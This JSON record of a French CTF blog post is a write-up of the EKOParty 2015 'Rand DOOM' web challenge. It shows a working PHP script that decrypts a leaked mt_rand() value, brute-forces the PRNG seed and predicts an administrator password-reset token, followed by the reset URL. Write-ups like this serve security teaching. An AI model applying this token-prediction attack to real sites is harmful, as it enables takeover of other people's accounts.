{"id":1505,"date":"2015-10-24T03:51:12","date_gmt":"2015-10-24T01:51:12","guid":{"rendered":"https:\/\/0x90r00t.com\/fr\/?p=1505"},"modified":"2015-10-24T03:57:43","modified_gmt":"2015-10-24T01:57:43","slug":"ekoparty-part-2-2015-web400-rand-doom-write-up","status":"publish","type":"post","link":"https:\/\/0x90r00t.com\/fr\/2015\/10\/24\/ekoparty-part-2-2015-web400-rand-doom-write-up\/","title":{"rendered":"[EKOParty Part 2 \u2013 2015] [Web400 \u2013 Rand DOOM] Write Up"},"content":{"rendered":"<h2>Description<\/h2>\n<blockquote><p>Rand DOOM<\/p>\n<p>Description: Do you think this password recovery is safe?<\/p><\/blockquote>\n<p><!--more--><\/p>\n<h2>Resolution<\/h2>\n<p>Nous arrivons sur un site light avec que 2 menus, un pour s&rsquo;identifier, l&rsquo;autre pour r\u00e9cup\u00e9rer son mot de passe.<br \/>\nEn demandant le mot de passe, un message nous indiquant que le token de r\u00e9g\u00e9n\u00e9ration expire au bout de 10 minutes ainsi qu&rsquo;un id de transaction nous est d\u00e9livr\u00e9, mais celui-ci semble ne servir \u00e0 rien (pour le moment :)).<\/p>\n<p><a href=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2015\/10\/Capture-37.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-1507\" src=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2015\/10\/Capture-37.png\" alt=\"Id de transaction\" width=\"951\" height=\"253\" srcset=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2015\/10\/Capture-37.png 951w, https:\/\/0x90r00t.com\/wp-content\/uploads\/2015\/10\/Capture-37-300x80.png 300w\" sizes=\"auto, (max-width: 951px) 100vw, 951px\" \/><\/a><br \/>\nApr\u00e8s avoir test\u00e9 quelques injections habituelles infructueuses, un petit coup d&rsquo;oeil au code source de la page d&rsquo;identification nous donne un d\u00e9tail croustillant :<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\r\n&lt;div id=&quot;navbar&quot; class=&quot;navbar-collapse collapse&quot;&gt;\r\n &lt;ul class=&quot;nav navbar-nav&quot;&gt;\r\n  &lt;li&gt;&lt;a href=&quot;?option=login&quot;&gt;Login&lt;\/a&gt;&lt;\/li&gt;\r\n  &lt;li&gt;&lt;a href=&quot;?option=recovery&quot;&gt;Password Recovery&lt;\/a&gt;&lt;\/li&gt;\r\n  &lt;!-- &lt;li&gt;&lt;a href=&quot;?option=highlight&quot;&gt;Source Code&lt;\/a&gt;&lt;\/li&gt; \/\/ remove from production --&gt;\r\n &lt;\/ul&gt;\r\n&lt;\/div&gt;\r\n<\/pre>\n<p>Comment \u00e7a \u00ab\u00a0\u00e0 enlever en production\u00a0\u00bb ? On dirait bien que le d\u00e9veloppeur ne l&rsquo;a pas fait. Voyons voir ce que cela donne en utilisant cette option highlight :<\/p>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">\r\n&lt;?php\r\nnamespace RandomChallenge;\r\n\r\ninclude('functions.php');\r\n\r\nfunction generate_token() {\r\n    $key = '';\r\n    \r\n    do {\r\n        $key .= chr(mt_rand());\r\n        \r\n        $key = preg_replace('\/&#x5B;^\\w]\/', '', $key);\r\n    } while(strlen($key) &lt; 60);\r\n    \r\n    return $key;\r\n}\r\n\r\nfunction option() {\r\n    global $option;\r\n    \r\n    switch ($option) {\r\n        case 'request_token':\r\n            $id = bin2hex(\r\n                    mcrypt_encrypt(\r\n                        MCRYPT_RIJNDAEL_128,\r\n                        &quot;\\x9c\\xa3\\xea\\x44\\xe0\\x48\\xcd\\xb8\\xb6\\x1f\\x2a\\xbb\\x37\\x6d\\x6c\\xb9\\x86\\x7a\\xfb\\x1f\\x40\\xbd\\xf8\\x57\\xa3\\x56\\x6a\\xc1\\x38\\x4a\\xdf\\xc1&quot;,\r\n                        mt_rand(),\r\n                        MCRYPT_MODE_ECB\r\n                    )\r\n                  );\r\n            \r\n            request_token($_POST&#x5B;'username'], generate_token(), $id);\r\n            break;\r\n        case 'reset_password':\r\n            reset_password($_GET&#x5B;'username'], $_GET&#x5B;'token']);\r\n            break;\r\n        case 'check_login':\r\n            check_login($_POST&#x5B;'username'], $_POST&#x5B;'password']);\r\n            break;\r\n        case 'recovery':\r\n            password_recovery();\r\n            break;\r\n        default:\r\n            login();\r\n            break;\r\n    }\r\n}\r\n\r\nheader();\r\noption();\r\nfooter(); \r\n<\/pre>\n<p>Nous avons ici la fonction <code>generate_token()<\/code> qui g\u00e9n\u00e8re une chaine de caract\u00e8res imprimables al\u00e9atoires et un joli code qui crypte le retour de la fonction <code>mt_rand()<\/code>. Tr\u00e8s certainement utilis\u00e9e pour g\u00e9n\u00e9rer l&rsquo;id de transaction vu lors de la demande de r\u00e9initialisation du password.<\/p>\n<p>C&rsquo;est bien beau tout \u00e7a, mais comme tout est g\u00e9n\u00e9r\u00e9 al\u00e9atoirement, comment on peut faire ?<br \/>\nIci la vuln\u00e9rabilit\u00e9 c&rsquo;est que nous avons la cl\u00e9 pour d\u00e9crypter l&rsquo;id de transaction, qui contient notre valeur al\u00e9atoire.<br \/>\nEt avec la valeur retourn\u00e9e par <code>mt_rand()<\/code>, on peut bruteforcer sa seed afin de nous retrouver dans le m\u00eame contexte que quand la fonction <code>generate_token()<\/code> est appel\u00e9e et donc pr\u00e9voir son retour !<br \/>\nPlut\u00f4t que de r\u00e9inventer la roue, nous avons utilis\u00e9 cet <a href=\"http:\/\/www.openwall.com\/lists\/john-users\/2012\/09\/20\/2\">outil<\/a> pour bruteforcer la seed et un petit script en php pour automatiser le process :<\/p>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">\r\n&lt;?php\r\nfunction generate_token() {\r\n    $key = '';\r\n    \r\n    do {\r\n        $key .= chr(mt_rand());\r\n        \r\n        $key = preg_replace('\/&#x5B;^\\w]\/', '', $key);\r\n    } while(strlen($key) &lt; 60);\r\n    \r\n    return $key;\r\n}\r\n\r\n$id = '9a6d7fb315400d5321624b0cacab47ea'; \/\/ id de transaction\r\n\r\n$rand =             mcrypt_decrypt(\r\n                        MCRYPT_RIJNDAEL_128,\r\n                        &quot;\\x9c\\xa3\\xea\\x44\\xe0\\x48\\xcd\\xb8\\xb6\\x1f\\x2a\\xbb\\x37\\x6d\\x6c\\xb9\\x86\\x7a\\xfb\\x1f\\x40\\xbd\\xf8\\x57\\xa3\\x56\\x6a\\xc1\\x38\\x4a\\xdf\\xc1&quot;,\r\n                        pack('H*', $id), \/\/ Conversion de l'id de transaction en binaire\r\n                        MCRYPT_MODE_ECB\r\n                    ); \/\/ valeur de mt_rand()\r\n                    \r\n  $bf = shell_exec('.\/php_mt_seed '.$rand);\r\n  preg_match_all('#seed = (\\d+)#', $bf, $regs);\r\n  \r\n  foreach ($regs&#x5B;1] as $seed) {\r\n   mt_srand($seed);\r\n   echo $seed.' : '.generate_token().PHP_EOL;\r\n  }\r\n<\/pre>\n<p>Au bout de quelques secondes, les r\u00e9sultats tombent :<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\nFound 2, trying 4261412864 - 4294967295, speed 49614773 seeds per second\r\n2188691082 : A7oERJVxdmP9YHaIdUWvwTSl9ZWnGzIoaAij6okO_2rJZ2H56F_isXZeKARW\r\n3123438417 : PYHbdgYu5BzRyY_30jnUVOrhC3CQ6ScRRLzGJQXofIc5jThgak8GSkufLttn\r\n<\/pre>\n<p>On se rend alors sur la page de r\u00e9initialisation de password avec le token fra\u00eechement obtenu :<br \/>\n<code>http:\/\/ctfchallenges.ctf.site:10000\/randoom\/?option=reset_password&amp;username=administrator&amp;token=A7oERJVxdmP9YHaIdUWvwTSl9ZWnGzIoaAij6okO_2rJZ2H56F_isXZeKARW<\/code><\/p>\n<p><a href=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2015\/10\/Capture-31.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-1508\" src=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2015\/10\/Capture-31.png\" alt=\"Password r\u00e9initialis\u00e9\" width=\"708\" height=\"207\" srcset=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2015\/10\/Capture-31.png 708w, https:\/\/0x90r00t.com\/wp-content\/uploads\/2015\/10\/Capture-31-300x88.png 300w\" sizes=\"auto, (max-width: 708px) 100vw, 708px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Cool \u00e7a fonctionne ! Il n&rsquo;y a plus qu&rsquo;a se loguer avec le password retourn\u00e9 pour obtenir le flag.<\/p>\n<p><a href=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2015\/10\/Capture-33.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-1509\" src=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2015\/10\/Capture-33.png\" alt=\"flag\" width=\"471\" height=\"172\" srcset=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2015\/10\/Capture-33.png 471w, https:\/\/0x90r00t.com\/wp-content\/uploads\/2015\/10\/Capture-33-300x110.png 300w\" sizes=\"auto, (max-width: 471px) 100vw, 471px\" \/><\/a><\/p>\n<p><code>Le flag est : EKO{seeding_haxors_for_fun_and_profit}<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Description Rand DOOM Description: Do you think this password recovery is safe?<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34,35,70],"tags":[75,116,115,54],"class_list":["post-1505","post","type-post","status-publish","format-standard","hentry","category-2015-fr","category-ctf-fr","category-ekoparty","tag-ekoparty","tag-mt_rand","tag-prng","tag-php"],"_links":{"self":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/1505","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/comments?post=1505"}],"version-history":[{"count":4,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/1505\/revisions"}],"predecessor-version":[{"id":1512,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/1505\/revisions\/1512"}],"wp:attachment":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/media?parent=1505"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/categories?post=1505"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/tags?post=1505"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}